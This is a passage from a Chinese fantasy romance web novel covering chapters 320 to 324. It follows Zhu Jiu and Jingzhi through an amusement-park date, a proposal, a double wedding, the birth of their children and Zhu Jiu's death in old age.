虽然她也没坐过这云霄飞车,不过这辈子他们两个有钱有闲,不好好尝试一番,是不是有点说不过去了啊啊啊啊啊啊啊!!! 经过短暂一小段上坡路,开始极速下降后,强烈的失重感袭来,静之叫得比谁都大声。 一旁的朱九紧紧扣住她的手,头发仿佛被狂风朝后拽起,他甚至觉得脸上的面具都快被吹飞了。 旁边的人都在疯狂尖叫,这一整车的人,估计只有朱九是紧紧抿着嘴的。 列车经过九曲十八弯的轨道,突然倒着悬停在轨道最上方。 倒吊着的静之有些脑充血,她有些兴奋的睁大眼睛,看着底下犹如蚂蚁般的行人,看了几秒后,余光突然扫过旁边正给她拍照的朱九。 “九哥,你还好吗?” 朱九紧紧握住相机,争分夺秒咔嚓咔嚓拍:“还行。” 静之对着比了个耶,笑着说:“看来你适应能力挺好的嘛,不对……好像要掉下去了啊啊啊啊啊啊啊啊!” 微微后撤一点后,列车绕了个圆形后,又开始极速冲刺,静之觉得魂都快被甩飞了。 …… 五分钟过后。 眼睛亮晶晶的静之在下车的第一秒,就立刻掰过朱九的手表确认。 心率65。 他是真不怕啊。 除了发型乱了点,她就没听他叫过一声,而且他还有闲心给她拍照,啧。 静之嘟了嘟嘴,缠着朱九问:“不好玩吗?” 确实一般,就是风有些大,不过他有些爱上了给她拍照的感觉。 看着小小镜头里那张大大的笑脸,他的心就感觉软软的。 “那我们再去玩别的,跳楼机怎么样?”静之提出建议。 朱九面不改色的点点头。 怕?不存在的。 这辈子除了之前怕她生气,怕她不答应跟他在一起,他还从未怕过别的。 答应得这么随便,他刚刚难道真的没感觉? 静之趁他不注意,一把掀开他的面具,上下扫了一眼他的脸色。 啧,还真不怕。 她坏笑一声,搂住他的脖子,刚想亲他一口,嘴就被朱九捂住。 朱九面色微红,局促得四处扭头,小声讲:“这里人多,回去再……” “而且刚刚风大,我,我嘴巴吹干了,等我涂一下这个,再……亲。” 他从兜里掏出一管润唇膏,仔细给自己抹上。 静之心弦一动:“那我不玩跳楼机了,我不想要一人一个位置的,我想玩点可以和你贴贴的。” 朱九抿着变得柔软的唇,胸口好像被她这句话蹬了一脚,开始疯狂跳动起来。 “什么设施,可以贴贴?” 静之抬手挡住阳光,转身查看。 突然,她兴奋的拉着朱九往一处地方赶去,“走走走,那个地方肯定可以,又封闭,我想亲你啦!” 答应跟他交往后,她可真热情。 朱九拘谨的直抿嘴皮子,在静之注意不到的时候,露出了一个又害羞又满足的微笑。 “好,那就去那里。” 两人一厢,巨大的情侣摩天轮是这个游乐园的招牌设施。 排队的人几乎都是成双成对而来。 有那么一两对感情浓烈的,甚至在排队的时候就开始卿卿我我。 静之因吃瓜而睁得大大的眼睛突然被一只手捂住,他低沉的声音从身侧传过来。 “非礼勿视,马上…就轮到我们了。” 紧握的双手,突然有一只变得不老实。 更白皙的那只弓起手背,偷偷用指甲撩一下朱九的手心。 他手一震,轻咳一声,又着重提醒她一句:“下一个就到我们了,别……别闹。” “你……期待吗?”她笑问。 “走了。”他扯住静之的手,一脚跨入厢门,用有些急切的行动回答了她这个问题。 厢门一关,静之几乎可以听到他胸腔鼓噪的声音。 “九哥,要不把表脱下来,我怕你的手表等会又报警了。” “……不至于。” “哦?”坐在对面的静之,看了一眼厢体的高度。 一米五……两米……两米五! 可以了。 她一个转身,侧坐在朱九腿上,轻轻挑起他的下巴,像个惑人的女妖似的,朝他的红到透明的耳朵旁轻轻吹了口气。 “这可是你说的。” “九哥……”纤指轻点他柔软的唇瓣,“我想吃草莓味冰淇淋了。” 一个多小时前的那场乌龙,瞬间回溯到朱九脑子里。 “别……我其实……想回去再……至少在车里,这里是透明的玻璃。” 静之把他的头掰过去看隔壁几个厢体。 这章没有结束,请点击下一页继续阅读!拍照打卡的,含情对视的,热情拥吻的,一个比一个暧昧。 她把他的头掰回来,竖起一根食指。 “就亲一口,我保证。” “行……吧。”朱九僵直着背,缓缓闭上眼睛,“那你快点。” 她窃笑着贴了上去。 “等会……你就不会叫我快点了。” 啧啧声在他们右上方的箱体里响起,朱鹤看着底下承受美人投怀送抱的朱九,忍不住吐槽道: “都在一起了,怎么还这么矜持?” 豆豆笑拍一下他的手。 “他不像你,厚脸皮。” “刚一上来,就摁着我亲。” 朱鹤扭头挑起她的下巴,端详着她发红似樱桃的唇,有些凝重的点点头: “嗯,还不够红,再亲一下!” …… 底下的车厢里。 朱九两手突然从她的腰上,挪到他屁股底下的椅子上用力扣着。 刚刚坐过山车勇猛到一言不发的朱九,如今不时被她深吻得发出一两声短促的闷哼。 “嗯?还要我再亲一会儿吗?” “……要。”他小声嗡嗡。 回答声伴随着小声的否,还有脱表的窸窣声,一股脑儿传入静之的耳蜗里,惹得她娇笑出声。 “还说不至于吗?” 朱九:“……我错了。” …… “妈妈!快看,金角大王和银角大王在咬嘴巴,他们是不是在打架?” 一小孩抬起头,指着那两个晃人眼的面具说。 “你就当他们是在打架吧。”孩子妈立刻捂住他嘴,把他拖走。 要命,小孩真不能来这情侣摩天轮旁边,不然她解释不清。 “那你和爸爸晚上的时候,有时候也在打架吗?” 孩子妈面红耳赤:“……闭嘴!” 小孩:“那我要吃冰淇淋,你刚刚说要给我买,还没买呢。” 孩子妈挫败的低下头,“买买买,现在就去。” “耶!!!” …… 朱九万万没想到,相比这一游乐场的设施,她更喜欢玩他。 上了摩天轮后,就不下去了。 他则被压在玻璃上,亲得毫无反抗之力。 也许,是他并不想反抗。 “九哥,有人说,在摩天轮旋转到顶点时接吻,会相爱一辈子。” “你……” 朱九一说话就嘴皮子发痛。 刚刚那一圈,她简直放不开他,不止在顶点,旋到地面的上车口时,她还在亲。 “别躲,过来,快到顶点了。” 朱九“勉为其难”凑了过去。 静之:“这次,记得睁眼看我,我要你牢牢记住这一秒。” “……嗯。” 他喉头滚动了一下,声音略显沙哑应了一声。 摩天轮旋转到12点位置,相濡以沫的爱情,在天空至高点得到了证明。 “九哥,我爱你,永生永世。” 她眼里的爱意如同深沉的大海,朱九怔怔的看着,突然觉得,她好像比他爱她,还要更爱他。 朱九抬高下巴,郑重的吻上她的眉心。 “我也一样,直至生命的尽头,会一直爱你。” 静之现在对把控那三句话,已经游刃有余了。 她笑着收下这句话,缓缓趴回他肩膀上,看着如日中天的太阳,轻声说: “这辈子,你只准说两次这句话,现在用了一次机会了,下次,记得在结婚时跟我说,往后,就不准再说了。” 银角大王掀开他的面具,朱九在阳光中轻轻梳理了两把头发,眼里的光芒甚至胜过窗外的阳光,“再坐一趟,我们就下去好不好?” 静之的心里隐隐有了个猜想。 十分钟后,再一次登顶时,她的猜想得到了证实。 看着单膝跪在她面前的男人,静之轻点了一下傲娇的脑袋。 “好。” 一个字,足以让朱九欣喜若狂。 两个身影揉成一个。 豆豆捂着嘴哭得比静之还大声。 “阿鹤,咱们跟他俩一起办婚礼好不好?” 朱鹤说:“好,一起的话……一定很有趣的吧。” 豆豆扭头看他,目露警惕。 “婚礼一辈子只举办一次,你不许给我使坏!” 朱鹤摸了摸鼻子,柔声答应。 毕竟,凡药打不了仙胎。 他还是顺着她一点吧。 他的小未婚妻,如今已经有了他们的宝宝,只不过她自己还不知道而已。 喜欢快穿之九叔,哪里跑!请大家收藏:()快穿之九叔,哪里跑!更新速度全网最快。 第321章 我们结婚吧 凡体孕育仙胎,自身气血没被吸收殆尽都算是幸运的了。 朱鹤日日给豆豆把脉,本想等脉象稳一点再跟她说。 却没想到,豆豆的孕反来得这般快,身体消瘦的速度也惊人的很。 看着她凹陷下去的脸颊,静之担忧不已。 一日下班后,她来到豆豆家给她把脉,万万没想到,把出了个喜脉。 众人这才知晓这个消息。 豆豆倒是没有多排斥,不是生大病就好。 倒是朱鹤被阴气聚集起来的鬼手狠狠扇了一巴掌。 一圈人围坐在沙发上,表情纠结,心情又喜又忧,听到巴掌声后,仅仅只是瞄了朱鹤一眼就挪开眼神。 不用问,肯定是少少。 护妹狂魔的她,看到豆豆变成这样,怎么也不会轻易放过朱鹤。 “她这状态不太对,我看,再不想想办法,不到孕中期,豆豆就得……” 朱九不想说得太明。 毕竟人需避语谶,特别是孕妇。 朱鹤皱着眉低头看向豆豆的肚子。 “豆豆,我……” 豆豆神色一慌,双手紧紧捂住肚子,“我是不会同意打掉的,这是我们的第一个孩子。” 她一手护住肚子,一手牵住朱鹤放在膝盖上的拳头,脸上有些许哀求和不安,“阿鹤,要当爸爸了,你不开心吗?我们要它好不好?” 朱鹤闭了闭眼,将消瘦的豆豆小心翼翼的搂进怀里,轻柔的叹口气。 “豆豆,我开心的前提,是你要好好的,而不是这样……” “你现在修道的速度,远远抵不过它吸收你身体里法力和养分的速度,我……” 豆豆突然变了脸,屁股往后挪了挪,坐到沙发最边上,扭过头一言不发。 倔强紧皱的眉表明了她的态度。 她就要这个孩子。 “我有个法子。”静之突然说。 朱鹤眼睛一亮,难不成是林风神君教过她什么好法术? “你快说!” 静之站了起来,挤开朱鹤,坐到豆豆身边,安抚的拍了拍她的背。 “只要豆豆吸收灵气的速度赶上她腹中胎儿吸收灵气的速度,豆豆就还有希望吧。” 朱鹤迟疑一下,才微微点头:“理论上来说,是这样没错。” 静之看向朱九,“你之前不是研究了灵力防护罩,可以吸收雷电之力作为防护罩能量的那个。” “能不能再加一层阵法,转化完雷电之力或者其他灵力后,反向在界内释放灵力。 跟聚灵阵差不多,无需豆豆引气入体,一呼一吸之间也能持续蕴养她的身体。” 想法是好的,但是阵法的叠加不是那么一加一等于二那么简单的。 朱九后仰身子,靠上椅背环着胸,直接陷入深思。 朱鹤却敏感的抓住一个字眼,“刚刚真是慌得丢了脑,聚灵阵我会,我这就给她布一个。” 豆豆扭头看了他一眼,小声问: “宝宝,有救了吗?” 朱鹤轻咳一声后,静之立马识相的站起来把位置还给他。 朱鹤坐过去,轻轻摸上豆豆还未显怀的小腹。 “我会尽我所能。”他从来都是轻佻的眉眼,此时凝满了严肃的神色,“我是说万一,若是……那我选择保全你。” “豆豆,我只要你好好的。” …… 为了这句承诺,朱鹤简直成了套套的代言人。 给豆豆布了加强版聚灵阵,看到她状况有所好转后,朱鹤三天两头的就给朱家另外一对情侣送套子。 有时还苦口婆心的拉着朱九进行一场两性教育。 “九啊,我已经不在乎什么后代了,经过豆豆这事儿,我明白了伴侣才是最重要的。” “我希望你能好好的戴套,别让她吃苦,也别让自己后悔。” 朱九面红耳赤,局促的眼神不时瞄向门缝外头等着的静之身上。 他祖师爷这又在说什么浑话? “您无须担心,我自有分寸。” 况且,虽然感情渐浓,但他们如今依旧只局限于亲亲和拥抱,并未做到那个程度上。 “你有分寸就行。”朱鹤转回身,递给他一份婚礼策划书,“豆豆说趁着肚子还没大起来,要尽快完成婚礼,这份策划书你看看,两日内给我答复。” “……你让我考虑下。” 朱九拿着书走出去,他不想逼静之的,于是也没跟她讲。 毕竟他知道她想顺其自然,而不是赶鸭子上架。 回别墅的路上,她却突然出声了。 “我们结婚吧。” 朱九停下脚步,不由侧目,眼里都是不可置信和狂喜。 “你说真的?” “嗯。”静之接过他手里的策划书随意翻了翻,又抬眸看了他一眼,轻笑一声调侃他: “你这表又报警了,它也算是咱们两个之间的红娘了,怎么也要给它包个大红包吧。” 朱九急切的褪下它,按熄屏幕,激动到有些语无伦次。 “包,我,我给它包,不是,我给它充电!” 看着静之还立在旁边取笑他,朱九脸色飘起红霞,将她轻轻纳入怀中。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我们…真的要结婚了?” “真的。” “你没骗我?” “有。” “静之!” “哈哈,我怕你憋坏了,也怕我自己憋坏了。” 朱九放开她,红着耳根子,突然埋头折返。 “你去哪里?”静之问。 “我……”朱九吞吞吐吐的,眼神润得不行,深处隐约可见一点绿光。 “我有点东西忘记拿了。” “什么东西?”她好奇问道,刚刚过来隔壁别墅,他不是空着手来的吗? 却见朱九埋头赶路,然后哐的一声撞到豆豆家的入户门上。 静之:“……” 怎么了这是? 朱鹤看着朝他摊开手的朱九,嫣红的唇瓣突然向上勾起。 “心上人就在身边,我还以为你真是柳下惠呢。要多大的?” 他摊开手,手心橘光一闪,各种size均有。 朱九也没细看,脸红得都快爆炸,随便拿了一盒就同手同脚的走了。 毕竟这玩意儿,让他亲自去超市买,他能直接羞死。 …… 人算不如天算。 朱九掰回好几处策划书上出格的设计环节,敲定婚礼时间,布置,邀请人名单后。 豆豆突然早产了。 生了颗蛋。 跟鸟蛋一样大,是金色的,蛋壳上还带着橘红色的火焰型纹理。 朱鹤倒是放宽心了。 看来他的娃随他,也返祖了。 婚期又延后了一个多月,给豆豆坐月子用。 期间蛋宝宝的营养液跟灵力供养,完全由他这位奶爸负责。 保证蛋温的同时,还得捧着它,给它灵力蕴养,用静之的话来说,就是—— “九哥,你看你家祖师爷又开始孵蛋了。” 这种时候,朱九每每都能从朱鹤化为原身后,那张鸟脸上看到大大的白眼。 “看什么看,没看过鸟孵蛋啊!”朱鹤破罐破摔怒怼,挪了挪身子,用胳肢窝底下细细的绒毛温暖着蛋宝宝。 一想到那一胳肢窝鸟毛就是朱鹤腋毛的静之,礼貌微笑后,偷偷朝朱九说: “以后咱们的宝宝不许带过去跟他家的鸟宝宝玩,被他的胳肢窝带大的,肯定有胳肢窝味。” 朱九:“………………” 什么时候他才能跟上他未婚妻的脑回路。 …… 九月金秋,天气飒爽。 正窝在自家小床上的静之突然被黄姨轻轻拍了拍。 “夫人,快起床了,今天可不能赖床。” 床上的茧咕蛹了一下。 “九哥别闹。” “二爷回一号别墅了,等会吉时一到,他就会来迎接您,今天是你们的大喜日子,您…不会忘记了吧?” 静之突然啪的一下,翻身坐起。 却被屋里排成一排的几个陌生女子吓一跳。 “她们……” 黄姨笑着指指她们手上的东西,“她们是来画新娘妆跟布置婚房的,您快洗漱一下,不然时间不够用了。” 静之上下几辈子从未被这么多人伺候过,神色不由有些拘谨。 万万没想到,她和豆豆一起举办的婚礼更是前所未有的大场面。 拖地三米的豪华镶钻婚纱,二十几辆来接亲的高档轿车都停到路口去了。 流水席摆得一眼都望不到边,司仪嘴里每吐露出一个有身份的贵宾身份,都能让朱九旁边的新娘子手一颤。 “九哥,你…你把你领导也邀请来了?” 望着主桌上边鼓掌,边朝她微笑着的穿唐装的老头,她微扯嘴角,露出一个被少少训练许久的矜持笑容。 “嗯,我跟他虽然是上下属的关系,但也是多年的好友,你无需拘束,做自己就好。” 交换戒指的仪式已过,朱九看着两人交握的手,手上那对闪闪发亮的婚戒,不禁抿嘴一笑。 真好,跟做梦一样,他竟真的娶到她了。 豆豆拍的那些素材,终于是用上了。 婚宴两侧的大荧幕上,轮播着他们认识以后的种种美好回忆。 每次播到朱九吃瘪,总能引得一阵哄堂大笑。 静之捏着朱九的手,抿了抿唇,小声问:“什么时候拍的这么多视频,我怎么不知道?” “豆豆拍的,她不让我告诉你,说这算是个惊喜,我可没有骗你哦。” 在阵阵笑声中,静之看着屏幕中朱九那张憋屈到不行的脸,突然心虚得直摸鼻子。 “九哥,你会不会觉得我太矫情了,明明一直喜欢你,那段时间却老是推开你。” 矫情? “怎么会。” 她只是心病了而已,他永远不会怪她。 更何况,这种酸涩又暗藏情意涌动的感情,对他们来说,何尝不是一种美好的回忆呢…… 喜欢快穿之九叔,哪里跑!请大家收藏:()快穿之九叔,哪里跑!更新速度全网最快。 第322章 你还有什么秘密 朱家很久才来一桩喜事,朱八跟阿祥可劲儿的灌朱九酒。 他罕见的没有生气,笑呵呵饮下,然后坐回静之旁边。 本就敬了一轮酒,这会儿看他嘴角常含微笑的罕见模样,静之猜测他可能已经醉了。 “人撤得差不多了,别再喝了,注意身体。” 静之招来喝不醉的朱鹤,“帮我把他架回去。” 他欣然应下,抓起朱九的胳膊往肩膀上一搭,就往外走去。 “小九啊,人生三大喜事,你今天就占了一桩,喝这么多,等会你还行不行啊?” “无需您操心。”朱九脚步有些摇摆,脸上的红霞一直没消退过,他迷迷糊糊的抬起头,朝担忧的静之露出了个温和的微笑。 “抱歉,今天我太开心了,多饮了几杯,以后不会了。” 静之:“我没怪你,走吧。” 少少今天被地府特赦回参加亲妹子的婚礼,送豆豆回二号别墅后,她就飘回了一号别墅的大厅。 恰巧看到朱八跟朱九“抢夺”静之身后冗长的裙摆和头纱。 “我没醉,我可以帮你拿的。”朱九小心翼翼,又不容置疑的从朱八手中夺过心爱姑娘的裙摆捏在手心里。 静之则头疼的摁着太阳穴,眉头轻蹙。 刚刚明明好好的。 朱八一过来帮忙提裙摆,从今早开始,一直很随和的朱九突然像是被侵占私人领地一般,开始驱逐接近她的每个人。 “九哥,你都站不稳了,不然我自己提着也行。”静之说。 “我没醉。”喝酒上脸的朱九如是说。 少少翻了个白眼飘了过去,用阴气幻化出一尺红绫,轻轻裹住静之的裙摆。 “男士让步,我来吧。” “朱八你跟阿鹤一起把这头倔驴架回去婚房。” 朱鹤微微挑眉看了这女鬼一眼,她倒是胆子大。 不过也没叫错就是,谁叫他娶了她的亲妹子,按照辈分算,他还得叫她一声姐姐呢。 朱九一见是位女性,乖乖放了手。 好不容易把人架进婚房,朱鹤急着见他的新娘子,身形一转,直接消失在朱九的婚房中。 朱八从早忙到晚,也累一天了。 阿祥帮着看鸟蛋去了,没人跟他起哄,他对着哥嫂说了几句吉祥话,收了红包,回去歇息了。 婚房的床上,用玫瑰花花瓣做了个超大的爱心。 此时新郎躺在上面,不时发出两句呓语。 少少想走,又有点担心。 她问静之:“你一个人确定可以吗?” 静之扭头瞄了一眼她新出炉的老公,微微抿嘴一笑,“怎么,你还想留下来帮我洞房啊?” 朱九指尖动了动,悄然揪紧她手上的蕾丝手套。 静之眸光一闪,站起来笑着打开门,“好啦,我力气大得很,你又不是不知道,你走吧,我一个人真的没问题。” “你啊,我也是担心你嘛。”少少撇了撇嘴,“祝你新婚快乐,没有你,就没有我的今天,我妹妹也不会遇到她现在的老公。” “静之,你也是我亲妹子,我希望你永远幸福。” 静之神色一柔,上前虚虚拥了一下少少的魂体,“谢谢,我会幸福的。” 蔗姑,希望下次遇见你,你能好好的,别只剩魂魄了。 …… 阴气消散,房间内略有些回温。 她身上的裙子看着华丽又圣洁,其实重得很,行动也不方便。 静之极速换下衣服,这才大大松了口气。 刚冲掉一头的发胶,坐进放满热水的浴缸里放松一下时,磨砂的浴室门就咔嗒一声,打开了一条小缝。 “静之,该就寝了。” 朱九不敢朝里看,只是穿着一身灰色的缎面睡衣,一身水汽站在门口。 “就这般迫不及待?”她曲起腿,两只湿漉漉的手搭在白色的陶瓷浴缸边缘,朝他缓缓伸出一只,“我就知道你是装醉,要不要再进来跟我泡一泡热水?” 朱九抬起一脚,脚还没落地,又缩了回去。 他轻咳一声说:“是不是……不太好。” “我觉得挺好。”静之把下巴搭在手背上,笑意妍妍的看着他躲闪的眼神,“我现在是你夫人了诶,今早黄姨都这样叫我了,你到现在还不好意思啊?” “呵,她倒是有眼色。”朱九紧了紧手,褪去睡衣和外裤,“那我进来了。” 浴室里头雾气蒸腾。 随着他的走近,她白里透红的脸渐渐映入了他的眼帘。 水面上漂浮着新鲜的玫瑰花瓣,多多少少挡住了她一点春光。 朱九松了口气,羞耻心让他保留了一条短裤,一起坐进水里。 浴缸再怎么大,也不是游泳池。 她滑腻的肌肤随着她的靠近,一点一寸的贴在他身上。 静之主动把手腕上滴滴直叫的黄色智能表凑到他眼前。 “阿九,它一直叫,以前你不是总爱提醒我它叫了吗。” “这回我自己告诉你,我对你超心动的。” “没有其他理由,就是因为你。” “每次它叫,只是因为你。” 本小章还未完,请点击下一页继续阅读后面精彩内容!朱九身子一震,茶色的瞳孔渐渐加深。 水波泛起清浅的涟漪,他的双臂规规矩矩的搭在她腰间。 朱九蹭去她肩上的花瓣,轻啄了一口,低沉的声音在她耳边响起。 “我知道你今天累坏了,别拿话勾我,我想让你好好休息一晚的。” 水波又泛。 有人动了手脚。 朱九眼珠子突然瞪得溜圆,整个人彻底僵住,“静,静之,别在这里!你,你放手。” “你在说谎。”她倚过上半身,凑近脸轻蹭一下朱九的烫得都快起火的脸颊,“你的身体可不是这样告诉我的。” “今晚是我们的洞房花烛夜,以后还有大把的时光好好休息。” “你不许逃。” “那也不能…在这里。”虽生在现代,骨子里头依旧传统的朱九如是说着。 刚说完,就被静之捏了把脸,她皱了皱鼻头,有些不悦的说: “我对你就这般没吸引力吗?你个柳下惠。” 朱九深呼吸一口气,心里默默为无知的静之点了根蜡。 “静静,等会……你就不会这么说了。” “哗啦”一声。 水花溅出地面,深色的花瓣溢出不少,有的被碾压出了粉色的花汁,染红了一小片地面。 氤氲的香气在空气中荡漾,时而可以听到几声低吼和惊呼。 星辰变幻,月挂枝头。 只剩半浴缸的水被加满几次,花瓣几乎全溢到地上,随着水流一起堵在下水口。 一双湿漉漉的大脚跨出,一脚踩到花瓣上,又挤出一点玫瑰花的汁液混入水中。 随着男人的离去,混乱的浴室地板上只剩下被蹂躏得凄惨的一地花瓣。 “静之,我好开心。” 朱九眼里满是餍足,双臂紧紧搂住累得一塌糊涂的静之的腰,“你是我的了。” “是是是。” 她慵懒的回复着,眼睛半睁半闭,眼尾还带着一点事后的殷红。 这副娇懒的小模样勾得朱九把住她的下巴,又厮磨了许久。 “好了。”她推开他,从肩胛处扯回滑落的吊带,不解问道:“怎么给我穿这件?新婚用的睡衣呢?” 她身上穿着的,是乳白色的吊带睡裙。 这衣服,她从未见过,但有些眼熟。 朱九抿了抿唇,决定还是要将那件事情告诉她。 “之前有一天晚上,三弟跟阿祥使用入梦术,误把你的一魄召唤出来了。” 静之迷茫的眨巴着眼睛,怎么突然扯到这个? “然后呢?这跟这件衣服有什么关系?” 朱九的耳根子渐渐染上一层红晕。 “那晚,你现原形了,这件衣服,有点像你那天晚上穿的。” 听到这话,她眼里的困意甚至都消退了一点,静之扶着腰坐起来,表情有些不善的看着他。 “所以……你早就知道我是灵猫了?” “是,你别生气。”朱九有些慌,他跟着坐起来解释道:“我知道你那时候还不想告诉我,所以我也就没戳破这件事。” 算了,当时她确实是这么想的。 静之靠回床头的软垫看向他,顺便伸出一根食指轻轻戳一下他的心口,半眯着眼问: “还有什么秘密,一起告诉我,我就不生你气。” 朱九甚至不敢移位一下,就这般让她戳着心口,微微垂下眼皮,小声说: “那晚,你把我摁到飘窗上亲了……” 刚说一句,静之就惊得瞪大双眼。 “还扯我衣服……” 不是,她这么猛的吗?说好要远离他,出个窍就对他霸王硬上弓了? “然,然后呢?”戳人家心口质问的底气没有了,静之收回手指,轻轻抠着被子上的印花。 “然后……”朱九两颊突的殷红,跪坐在被子旁,好似在忏悔,“然后,我有些把持不住,就……” “就什么?”她问。 那时候,他跟她也才认识不久吧。 小样儿,这么大的事,他留到现在才跟她讲。 “不对啊,我没感觉,第二天。” 朱九吞吞吐吐的说:“不是……我没……我只是亲回去了,还……还亲了一下你的脖子。” “……嗐。”她还以为做到那份上了。 静之歪着头,指了指现在她脖子上的各种红印子,“现在都亲成这样了,你还羞呐?” 朱九掀起被子裹住她的脖子,有些不好意思的说: “上次你没有自主意识,未经你同意之下,我……对不起。” 静之:“两情相悦的事,不用说对不起,我还挺开心你主动的呢。” 她诶诶两声,把朱九一同裹进被子里躺下,一脸好奇问:“没自主意识的我是怎么样的?” 朱九搂着她边回忆边说:“可爱。” “就这?”“我就没说什么?” “说了的。”朱九笑着说:“你拉着我不让我走,叫我陪你玩。” 朱九又忆起那晚他偷偷问出的那句话。 “静之,你想要朱九对你负责吗?” 他突然红着脸,一本正经的问。 本小章还未完,请点击下一页继续阅读后面精彩内容!静之愣了一下,觉得这句话熟悉的很。 随即又释然的把手搭在他手上,这话,他是不是在她不知情的时候问过好几次了? “好,我要朱九对我负责,养我一辈子。” 朱九:“……好。” 暗藏在心里许久的话,终于得到回应。 朱九觉得,半世人生里,从未有一刻能比得过现在幸福了。 …… 事实证明,话不能说太早。 一年后,静之给他诞下三只小猫时,朱九又把一年前的那句话重复说了一次。 现在的他,是最幸福的。 两只小雄猫,一只小雌猫。 有儿有女,朱九简直笑得合不拢嘴。 本想叫月嫂,但又怕孩子的身份败露,于是他选择自己养。 于是奶孩子的爸爸又多了一位。 朱鹤整日捧着一只小黄鸡,朱九整日抱着三只小奶猫,两个傻子有段时间里,一度大聊爸爸经。 从什么时候化形,到棉裤怎么穿,奶粉怎么泡,到小孩以后要上哪个幼儿园,都一一安排好了。 每当这种时候,豆豆跟静之就坐在一旁喝茶,边看边笑。 “静之姐,我没选错老公吧,阿鹤他真的对我很好,对孩子也很好。” 看着被养得珠圆玉润,红气逼人的豆豆,静之不住点头,“是这样没错,但你家的小小鸟,能不能别欺负我的娃?” 豆豆闻言望去,只见小黄鸡此时正蹲在朱九大儿子的头上一顿乱刨,等刨成鸡窝后,它就换一只接着刨。 奇怪的是,它从不欺负小雌崽,每天就逮着两只小雄崽狂薅毛。 白色的胎发这一戳,那一戳,落了一地。 豆豆有些尴尬的笑了笑。 “它可能是毛发长得慢,嫉妒你两个宝宝吧,哈哈哈。” 静之一愣,然后盯着那只炸毛小鸡跟她两只毛发旺盛的小奶猫微微点头。 “一年了都,它的毛就一直这样啊?要不吃点鱼油试试?” “不用啦。”豆豆耸耸肩说:“朱鹤说,它是个早产儿,破壳又太早,平时多在聚灵阵里待着,慢慢会好的。” 望着举止轻柔,几个崽子怎么闹依旧情绪稳定的朱九,静之捧着脸笑得一脸痴汉。 “你没选错,我也没选错。” “我家阿九多好啊,又会赚钱,情绪稳定,还长得帅,我知足啦。” “好啦好啦!你老公最帅!”豆豆敷衍一句,眼睛却是直直盯着气质变得柔和的朱鹤。 她老公才是最帅的! 望着在茶几旁争论谁的老公天下第一帅的两个女人,朱鹤朝朱九笑了笑。 “看吧,我就说灵猫生得多,你早听我的话,说不定现在都生二胎了。” 朱九白了他一眼,把小黄鸡从老二头上薅下来,放回他手里,说:“不可能了,我结扎了。” “啊???”朱鹤一手捧着宝宝,一手直掏耳朵,“你结扎还是她结扎?” “我。”朱九扭头看向静之,眸里带着显而易见的怜惜,“她已经痛过一次了,剩下的,应该由我来。” 朱鹤啧啧几声,突然咦了一下,掐指算了算。 “话说,我给你的套,你没用吗?怎么会怀上呢?” 朱九突然闭嘴。 他会说他随手拿的那一盒,他根本就带不上吗…… …… 喜欢快穿之九叔,哪里跑!请大家收藏:()快穿之九叔,哪里跑!更新速度全网最快。 第323章 酸涩的感觉 “静静,这是我最新研发的量子戒,咳咳。” 朱九缓了一下呼吸,微抖着手把一个玄色戒指戴到她右手的小指上。 “里头有咱们家的所有财产,还有你惯用的一切物品。” “轻抚戒指,心中默念你想要的东西,它就会出现在你面前,咳咳咳。” 静之红着眼眶,帮朱九拍胸口顺着气。 “你别说了,先躺下歇会儿。” 朱九轻轻拉下她的手握在手心里,摇着摇头笑了。 “我摒开子孙的时候,你就该知道的。” “静之,我大限已到。” “就让我……咳,最后再跟你说两句吧。” 静之紧抿着嘴,忍了好久的眼泪终于滑落,啪嗒一下溅到他手上。 “你……呜……你说。” 望着她容颜依旧的俏脸,朱九有些不自在的别过脸,“你……会不会觉得我如今变得难看了?” 以前年轻的时候,她老和豆豆争论他和朱鹤谁是最帅的。 如今,他已是耄耋之年,不服老不行了。 静之像是要抚平他内心的自卑,低头吻上他的唇,随着她低头的动作,眼泪跟着一起滴到了他脸上。 “不会,我永远都不会嫌弃你的,就算你变成老头了,也是最可爱的老头子。” 朱九弯了眼尾,嘴角的腼腆微笑,依旧是她所熟悉的。 朱九用尽全力微微昂起头,凑到她耳边说:“我大约知道,你不让我第三次说那句话的原因了。” “夫人,别怪我,我这副样子,实在不想让你多看一眼。” 静之瞳孔一缩,刚想抬手捂他嘴。 两只手却被他紧紧攥在胸口处。 朱九深深的凝视她,仿佛要把她刻进灵魂里,一同带到奈何桥上去。 “我爱你。” “从未……停止过……一秒…………” “滴————” “请注意,血压值过低,血压值过低,血氧浓度不足,已为您自动拨打求救电话……” 朱九手腕上戴了几十年的手表突兀响起。 静之眼里浮上惊恐,眼睁睁的看着自己的手化成无数光点逸散。 “阿九!阿九!!” “我恨你!” “我还没陪你度完最后一天呢!” “至少让我载你去医院!” “你混蛋!!!” 朱九半睁半闭的眼角落下一滴泪。 手臂仿佛有千斤重,但他依旧举了起来,朝她最后挥别。 静之,别怪我,再见了。 一介凡人之躯,以感情为名,困了你几十年,我是自私的。 若你能因为我,而感觉到一丝丝幸福,我就心满意足了。 她的身躯几乎变得透明,嘴巴一张一合仿佛在说些什么,朱九已经听不见了。 唯有她满眶的热泪深深刺进他的心底,给他带来最后一丝酸涩的感觉。 回光返照的他,仿佛来到了那个午后。 他坐在门口等她下班。 朱八打趣他,还找他讨要大平层。 而他的心里全是酸涩懵懂的暗恋。 迷迷糊糊间,他好像看到下了公交的静之,高高兴兴得朝他用力挥手: “二叔!我回来啦!” 美丽的倩影朝他奔了过来。 这回她没有直接进入屋里吃饭,而是落入他的怀里。 白色的裙摆扬起漂亮的弧度,朱九仿佛恢复了年轻时的力气,强健的臂膀紧紧圈住她纤细的腰身,抱着她在夕阳中转了一圈又一圈。 他低沉的笑声和她的娇笑和谐的交织在一起。 床上瞳孔开始涣散的朱九,跟着微微扬起嘴角。 静之,这就是那天午后,我想对你做的事。 而今,终于实现了呢…… …… 第324章 两个神经病 亲眼目睹爱人陷入死亡绝境,浑身瘫软,深知无力回天的静之,抽噎着任由时空之流卷袭着自己,奔向下一个世界。 “臭朱九,我再也不会原谅你。” “别想我原谅你。” 光怪陆离的乱流中,她抹一把眼泪,又愤恨蹬了一脚。 却好似踹到什么东西,耳边除了空间的瞬移的梭鸣,还有一声男人的惨叫。 她止住哭泣,睁眼一瞧,却看到由远及近,越来越熟悉的一张脸。 “九,九哥?” 在他旁边,有一个穿金甲,脸长长的男子,还有一个穿银甲,头扎双髻的男孩。 【金童:奇怪,怎么会在这里呢?不应该啊。】 【静之:你什么意思?】 【金童:算了,来都来了……天机不可泄露。】 